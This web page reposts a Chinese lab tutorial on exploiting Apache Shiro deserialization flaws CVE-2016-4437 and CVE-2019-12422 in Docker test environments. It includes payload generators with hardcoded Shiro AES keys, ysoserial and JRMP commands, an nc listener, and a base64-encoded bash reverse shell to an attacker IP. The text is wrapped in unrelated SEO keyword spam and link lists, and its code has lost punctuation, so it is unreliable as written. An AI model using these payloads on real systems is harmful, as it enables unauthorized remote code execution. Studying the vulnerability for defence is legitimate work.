当前位置: 首页 > news >正文

北京网站建设laitang科技网站新版网站上线

北京网站建设laitang,科技网站新版网站上线,浙江省2012年7月自学考试网站建设与网页设计,四川省建设厅职称查询网站文章目录 一、反序列化概念1.什么是序列化#xff1f;2.序列化出现场景 二、Apache Shiro 1.2.4反序列化漏洞1.定义2.Shiro反序列化漏洞原理3.漏洞特征 三、CVE-2016-4437漏洞复现(实验)1.搭建环境2.漏洞特征验证1)未登陆验证2)登陆失败验证3)登陆成功验证① 不勾选② 勾选 … 文章目录 一、反序列化概念1.什么是序列化2.序列化出现场景 二、Apache Shiro 1.2.4反序列化漏洞1.定义2.Shiro反序列化漏洞原理3.漏洞特征 三、CVE-2016-4437漏洞复现(实验)1.搭建环境2.漏洞特征验证1)未登陆验证2)登陆失败验证3)登陆成功验证① 不勾选② 勾选 4)Shiro漏洞验证方法5)漏洞利用 四、CVE-2019-12422漏洞复现(实验)1.搭建环境2.检测是否为shiro框架3.制作payload路径下获得了一个payload.cookie4.漏洞验证5.漏洞利用(反弹shell)① VPS监听端口② 构造shell命令③ 开启JRMP服务④ 构造payload⑤ 前台登录⑥ 追加cookie 一、反序列化概念 1.什么是序列化 序列化就是把对象转换成字节流便于保存在内存、文件、数据库中,保证对象的完整性 和可传递性 反序列化即逆过程由字节流还原成对象。根据字节流中保存的对象状态及描述信息 通过反序列化重建对象。 2.序列化出现场景 ●远程和进程间通信RPC/IPC ●连线协议、Web服务、消息代理 ●缓存/持久性存储区 ●数据库、缓存服务器、文件系统 ●HTTP cookie、HTML表单参数、API身份验证令牌 二、Apache Shiro 1.2.4反序列化漏洞 1.定义 Apache Shiro是一个强大且易用的Java安全框架执行身份验证、授权、密码和会话管 理。使用Shiro的易于理解的API可以快速、轻松地获得任何应用程序,从最小的移动应 用程序到最大的网络和企业应用程序。 漏洞影响版本 Apache Shiro 1.2.4 2.Shiro反序列化漏洞原理 AES加密的密钥Key被硬编码在代码里Shiro是开源软件意味着每个人通过源代码 都能拿到AES加密的密钥。因此攻击者构造一个恶意的对象并且对其序列化 AES加密base64编码后作为cookie的rememberMe字段发送。Shiro将 rememberMe进行解密并且反序列化最终造成反序列化漏洞。 在服务端接收cookie值时按照如下步骤来解析处理 检索RememberMe cookie 的值 Base 64解码 使用AES解密(加密密钥硬编码) 进行反序列化操作生成用户登录信息对象未作过滤处理 在调用反序列化时未进行任何过滤导致可以触发远程代码执行漏洞。 3.漏洞特征 shiro反序列化的特征 返回包中存在 rememberMedeleteMe 字段 三、CVE-2016-4437漏洞复现(实验) 1.搭建环境 使用vulhub进行环境搭建cd shiro/CVE-2016-4437 执行docker-compose up -d启动漏洞环境 访问8080 2.漏洞特征验证 1)未登陆验证 使用BP抓包未登陆的情况下请求包的cookie中没有rememberMe字段返回包set-Cookie里也没有deleteMe字段 2)登陆失败验证 登陆失败的话不管勾不勾选RememberMe字段返回包中都会有rememberMedeleteMe字段 3)登陆成功验证 使用正确账号admin:vulhub进行登录 ① 不勾选 不勾选RememberMe字段登陆成功的话返回包set-Cookie会有 rememberMedeleteMe字段。 但是之后的所有请求中Cookie都不会有rememberMe ② 勾选 勾选RememberMe字段登陆成功的话返回包set-Cookie会有 rememberMedeleteMe字段还会有rememberMe字段的所有请求 之后中Cookie都会有rememberMe字段 4)Shiro漏洞验证方法 如何判断网站是否使用shiro 找到网站登录的地方 随便输入账号密码抓包一定要输入点击登录看返回包是否有remembeMe字段如我们直接访问登录的页面不进行登录此时返回的数据包是没有remember字段的 如果没有remembeMe 还可以尝试在请求包中的cookie中加入 rememberMe1 来查看返回包是否有rememberMedeleteMe字段。如果cookie字段有值则先清空这时我们手动加上一个cookie:rememberMe1注意cookie要放在Upgrade的上面则返回了remember字段。说明使用了shiro框架可能存在shiro反序列化漏洞 5)漏洞利用 手工检测出了使用了shiro框架后就开始验证是否存在漏洞了如果存在则进 行漏洞利用这里漏洞检测和利用的方式有两种 第一种是使用jar工具进行验证。 第二种方式是使用python脚本进行验证。 使用jar工具检测是否存在shiro漏洞执行命令 反弹shell 四、CVE-2019-12422漏洞复现(实验) 1.搭建环境 获取docker镜像docker pull medicean/vulapps:s_shiro_1 启动docker镜像docker run -d -p 8082:8080 medicean/vulapps:s_shiro_1 点击account_page 2.检测是否为shiro框架 开启bp抓包发现返回包存在Set-Cookie 中存在 rememberMedeleteMe 字段 3.制作payload dnslog申请一个临时域名 shiro.py内容如下 import sys import base64 import uuid from random import Random import subprocess from Crypto.Cipher import AESdef encode_rememberme(command):popen subprocess.Popen([java, -jar, ysoserial-master-SNAPSHOT.jar, URLDNS, command], stdoutsubprocess.PIPE)BS AES.block_sizepad lambda s: s ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode()key kPHbIxk5D2deZiIxcaaaA#key Z3VucwAAAAAAAAAAAAAAAA#key wGiHplamyXlVB11UXWol8gmode AES.MODE_CBCiv uuid.uuid4().bytesencryptor AES.new(base64.b64decode(key), mode, iv)file_body pad(popen.stdout.read())base64_ciphertext base64.b64encode(iv encryptor.encrypt(file_body))return base64_ciphertextif __name__ __main__:payload encode_rememberme(sys.argv[1]) with open(payload.cookie, w) as fpw:print(rememberMe{0}.format(payload.decode()),filefpw)使用shiro.py 脚本生成检测payload(dns解析) 例如python shiro.py “http://4xakbz.dnslog.cn” 需安装crypto 路径下获得了一个payload.cookie 4.漏洞验证 把刚刚生成的payload.cookie粘贴到包里burp发包查看dnslog是否存在dns解析记录 dnslog出现回显说明存在漏洞 5.漏洞利用(反弹shell) ① VPS监听端口 nc -lvvp 10808 ② 构造shell命令 构造反弹shell命令并且进行base64编码 /bin/bash -i /dev/tcp/192.168.155.2/10808 01 L2Jpbi9iYXNoIC1pID4mIC9kZXYvdGNwLzE5Mi4xNjguMTU1LjIvMTA4MDggMD4mMQ ③ 开启JRMP服务 在VPS开启一个JRMP(端口设置1099) java -cp ysoserial-master-SNAPSHOT.jar ysoserial.exploit.JRMPListener 1099 CommonsCollections4 “bash -c {echo,L2Jpbi9iYXNoIC1pID4mIC9kZXYvdGNwLzE5Mi4xNjguMTU1LjIvMTA4MDggMD4mMQ}|{base64,-d}|{bash,-i}” ④ 构造payload 使用s.py构造payload使存在shiro反序列化的服务器 python3 s.py 192.168.155.2:1099攻击者监听的端口 s.py内容如下 import sys import uuid import base64 import subprocess from Crypto.Cipher import AESdef encode_rememberme(command):popen subprocess.Popen([java, -jar, ysoserial-master-SNAPSHOT.jar, JRMPClient, command], stdoutsubprocess.PIPE)BS AES.block_sizepad lambda s: s ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode()key base64.b64decode(kPHbIxk5D2deZiIxcaaaA)iv uuid.uuid4().bytesencryptor AES.new(key, AES.MODE_CBC, iv)file_body pad(popen.stdout.read())base64_ciphertext base64.b64encode(iv encryptor.encrypt(file_body))return base64_ciphertextif __name__ __main__:payload encode_rememberme(sys.argv[1]) print(rememberMe{0}.format(payload.decode()))⑤ 前台登录 注意需要勾选Remember Me 截获数据包加入payload将payload发送服务器 ⑥ 追加cookie 将s.py生成的内容追加到cookie后面 反弹shell成功
http://www.w-s-a.com/news/836921/

相关文章:

  • 金乡县网站开发网站开发三个流程
  • qq空间网站是多少纺织网站建设方案
  • 建设微网站项目报告网站优化难吗
  • 做网站需要自己上传产品吗企业网站系统设计
  • wordpress个人中心济南网站建设和优化
  • 网站pc端网址和手机端网址建设牡丹江 网站建设
  • 苏州新区城乡建设网站人才招聘网站开发
  • 一般网站是怎么做的威远移动网站建设
  • 赣州网站开发公司怎么才能设计好一个网站
  • 个人网站建设分几个步走培训网站开发哪个好
  • 智能网站价格河北城乡建设网站
  • 做动画在线观看网站网上花店 网站源代码
  • 做网站项目体会商业信息
  • 深圳的设计网站谷歌浏览器下载手机版官网
  • 苏州网站建设都找全网天下外贸响应式网站设计
  • 揭阳专业做网站网站迁移教材
  • 手机上怎么上传网站吗工程信息网站建设
  • 用手机建网站微信手机网站流程
  • 专注软件优化分享的网站梧州网页设计
  • 长春火车站和高铁站是一个站吗公司名称注册查询系统
  • 便利的集团网站建设网页的依托网站
  • 茶叶网站建设题库制作助手app
  • 网站建设栏目层级北京网站搭建公司电话
  • 网站开发运营经理打开百度竞价页面是网站是什么
  • 国内最专业的设计网站建设现在用什么语言做网站
  • 湖南网站开发 岚鸿象山县建设工程招投标网站
  • 长沙免费网站排名wordpress 教学
  • 专门做app的网站html代码是什么
  • 临沂网站制作建设欧米茄表官网
  • 北京模板网站开发全包网站建设的第三方平台